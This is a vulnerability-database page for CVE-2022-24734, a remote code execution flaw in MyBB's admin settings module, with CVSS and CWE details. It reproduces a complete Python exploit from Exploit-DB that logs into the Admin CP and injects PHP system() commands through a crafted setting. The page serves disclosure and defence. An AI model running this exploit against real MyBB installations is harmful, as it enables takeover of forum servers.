CVE-2022-24734 : Detail

CVE-2022-24734

7.2
/
High
Code Injection
A03-Injection
96.02%V3
Network
2022-03-09
20h25 +00:00
2024-08-03
04h20 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Remote code execution in mybb

MyBB is a free and open source forum software. In affected versions the Admin CP's Settings management module does not validate setting types correctly on insertion and update, making it possible to add settings of supported type `php` with PHP code, executed on on _Change Settings_ pages. This results in a Remote Code Execution (RCE) vulnerability. The vulnerable module requires Admin CP access with the `Can manage settings?` permission. MyBB's Settings module, which allows administrators to add, edit, and delete non-default settings, stores setting data in an options code string ($options_code; mybb_settings.optionscode database column) that identifies the setting type and its options, separated by a new line character (\n). In MyBB 1.2.0, support for setting type php was added, for which the remaining part of the options code is PHP code executed on Change Settings pages (reserved for plugins and internal use). MyBB 1.8.30 resolves this issue. There are no known workarounds.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 50924

Publication date : 2022-05-10 22h00 +00:00
Author : Altelus
EDB Verified : No

# Exploit Title: MyBB 1.8.29 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-05-08 # Exploit Author: Altelus # Vendor Homepage: https://mybb.com/ # Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1829 # Version: MyBB 1.8.29 # Tested on: Linux # CVE : CVE-2022-24734 # An RCE can be obtained on MyBB's Admin CP in Configuration -> Add New Setting. # The user must have a rights to add or update setting. This is tested on MyBB 1.8.29. # The vulnerability may have existed as early as 1.4.0 since this # 'php' checking is introduced in 1.4.0 (https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f) import requests import argparse import random import string from base64 import b64decode from bs4 import BeautifulSoup def login(username, password): data = { "username" : username, "password" : password, "do" : "login" } login_txt = r_client.post(host + "/admin/index.php", data=data).text if "The username and password combination you entered is invalid" in login_txt: print("[-] Login failure. Incorrect credentials supplied") exit(0) print("[+] Login successful!") def add_settings(cmd, raw_cmd=""): config_settings_txt = r_client.get(host + "/admin/index.php?module=config-settings&action=add").text if "Access Denied" in config_settings_txt: print("[-] Supplied user doesn't have the rights to add a setting") exit(0) print("[*] Adding a malicious settings...") soup = BeautifulSoup(config_settings_txt, "lxml") my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value'] rand_string = get_rand_string() if raw_cmd != "": extra = "\" . system('{}') .\"".format(raw_cmd) else: extra = "\" . system('{} | base64 -w 0') .\"".format(cmd) data = { "my_post_key" : my_post_key, "title" : "An innocent setting", "description" : "An innocent description", "gid" : 1, "disporder" : "", "name" : rand_string, "type" : "\tphp", "extra" : extra, "value" : "An innocent value" } post_setting = r_client.post(host + "/admin/index.php?module=config-settings&action=add",data=data,allow_redirects=False) if post_setting.status_code != 302: soup = BeautifulSoup(post_setting.text, "lxml") error_txt = soup.find_all("div", {"class" : "error"})[0].text print("[-] Exploit didn't work. Reason: '{}'".format(error_txt)) exit(0) print("[+] Malicious post settings accepted!") return rand_string def get_rand_string(length=20): return ''.join(random.choice(string.ascii_letters) for i in range(length)) def get_cmd_result(ident_string, raw_cmd=""): conf_settings_list = r_client.get(host + "/admin/index.php?module=config-settings&action=change").text soup = BeautifulSoup(conf_settings_list, "lxml") row_setting = soup.find_all("tr", {"id" : "row_setting_{}".format(ident_string)})[0] cmd_result = row_setting.find_all("div", {"class" : "form_row"})[0].text if raw_cmd == "": cmd_result = b64decode(cmd_result[2:]).decode() print("[+] Result: {}".format(str(cmd_result))) parser = argparse.ArgumentParser() parser.add_argument('--username', required=True, help="MyBB Admin CP username") parser.add_argument('--password', required=True, help="MyBB Admin CP password") parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000") parser.add_argument('--cmd', required=False, help="Command to run") parser.add_argument('--raw_cmd', required=False, help="Command to run directly into system()") args = parser.parse_args() username = args.username password = args.password host = args.host cmd = "id" if args.cmd == None else args.cmd raw_cmd = "" if args.raw_cmd == None else args.raw_cmd r_client = requests.Session() login(username, password) ident_string = add_settings(cmd, raw_cmd=raw_cmd) get_cmd_result(ident_string, raw_cmd=raw_cmd)

Products Mentioned

Configuraton 0

Mybb>>Mybb >> Version From (including) 1.2.0 To (excluding) 1.8.30

References

https://mybb.com/versions/1.8.30/
Tags : x_refsource_MISC